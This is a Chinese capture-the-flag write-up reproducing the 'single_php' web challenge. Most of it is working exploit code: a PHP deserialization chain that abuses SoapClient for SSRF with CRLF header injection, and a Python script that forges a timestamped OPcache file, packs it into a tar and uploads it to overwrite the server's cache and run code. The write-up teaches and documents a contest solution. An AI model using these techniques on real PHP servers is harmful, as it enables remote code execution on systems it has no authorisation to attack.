[DASCTF X 0psu3十一月挑战赛|越艰巨·越狂热]single_php复现
进题如上
传参highlight_file,拿到源码
<!DOCTYPE html>
<html>
<head>
<style>
img {
max-width: 200px;
max-height: 200px;
}
</style>
<title>revenge to siranai.php
</title>
</head>
<body>
<h5>
This is my wife.She is from Imagination.
And I,use her name as my id.
</h5>
<img src="mywife.png" alt="this is my wife">
<p>I have been single dog for 19 years.<br>
One day, my brothers betrayed the singles organization.<br>
S* and B* ,both of them have the kanozyo.<br>
Now revenge to them!!!!!<br>
use '$_GET['LuckyE'](__FILE__);' to begin your revenge!!<br>
</p>
</body>
</html>
<?php
error_reporting(0);
class siroha{
public $koi;
public function __destruct(){
$this->koi['zhanjiangdiyishenqing']();
}
}
$kanozyo = $_GET['LuckyE'](__FILE__);
var_dump($kanozyo);
$suki = unserialize($_POST['suki']);
得到提示,revenge to siranai.php
emm,看起来得打Soap反序列化
回到原先的反序列化的页面
搞一个phpinfo看看
这个缓存是放在了/tmp目录下并有时间戳验证,可以先了解opcache执行php代码
那整体的思路应该就是上传我们的恶意压缩包,对原本的缓存文件进行覆盖,变成我们的恶意文件
本地拉取相同版本php的镜像,用脚本进行伪造时间戳
本人代码能力有限,直接使用官方WP的代码
import binascii
import hashlib
import requests
import re
import tarfile
import subprocess
import os
url = "http://97ed25bf-fecf-4710-bd78-9e313a784c29.node5.buuoj.cn:81/?LuckyE=filectime"
def timec():
pattern = r"\d{10}" #匹配十位数字
timeres = requests.get(url=url)
match = re.search(r"int\((\d{10})\)",timeres.text)#从响应包中提取到时间戳信息
try:
ten_digit_number = match.group(1)
print(ten_digit_number)
return ten_digit_number #返回时间戳
except:
print('dame')
def split_string_into_pairs(input_string):
if len(input_string) % 2 != 0:
raise ValueError("输入字符串的长度必须是偶数")
pairs = [input_string[i:i+2] for i in range(0, len(input_string), 2)]
return pairs
def totime(time):
b = split_string_into_pairs(f"{hex(int(time))}")
b.pop(0)
s = ''
for i in range(0, len(b)):
s += b[-1]
b.pop(-1)
return s
def changetime():
with open("index.php.bin","rb") as file:
binary_data = file.read()
# 将二进制数据转换为十六进制字符串
hex_data = binascii.hexlify(binary_data).decode('utf-8')
new_data = hex_data[0:128]+totime(timec())+hex_data[136:]
with open("index.php.bin","wb") as f:
f.write(bytes.fromhex(new_data))
changetime()
sys_id = hashlib.md5("8.2.10API420220829,NTSBIN_4888(size_t)8\002".encode("utf-8")).hexdigest()
print(sys_id)
def tar_file():
tar_filename = 'exp.tar'
with tarfile.open(tar_filename,'w') as tar:
directory_info = tarfile.TarInfo(name=f'{sys_id}/var/www/html')
directory_info.type = tarfile.DIRTYPE
directory_info.mode = 0o777
tar.addfile(directory_info)
tar.add('index.php.bin', arcname=f'{sys_id}/var/www/html/index.php.bin')
def upload():
file = {"file":("exp.tar",open("exp.tar","rb").read(),"application/x-tar")}
res = requests.post(url="http://97ed25bf-fecf-4710-bd78-9e313a784c29.node5.buuoj.cn:81/siranai.php",files=file)
print(res.request.headers)
return res.request
tar_file()
request_content = upload()
upload_body = str(request_content.body).replace("\"","\\\"")
content_length = request_content.headers['Content-Length']
print(content_length)
print(upload_body)
封装到Soap
<?php
class siroha
{
public $koi;
}
$postdata = "";
try {
$a = new SoapClient(null, array('location' => "http://127.0.0.1/siranai.php", 'user_agent' => "Enterpr1se\r\n" . "Cookie: PHPSESSION=16aaab9fb\r\nContent-Type: multipart/form-data; boundary=" . substr($postdata, 2, 32) . "\r\nConnection: keep-alive\r\nAccept: */*\r\nContent-Length: 10416" . "\r\n\r\n" . $postdata,
'uri' => "http://127.0.0.1/siranai.php"));
} catch (SoapFault $e) {
}
$b = new siroha();
$b->koi = ["zhanjiangdiyishenqing" => [$a, "nnnnn"]];
//通过数组调用类方法调用一个不存在的方法触发::__call魔术方法
echo urlencode(serialize($b));
BP放包
这就已经覆盖成功了,直接传参拿到flag
这题确实不好写,据说当时是零解,我现在写都不好写【大哭】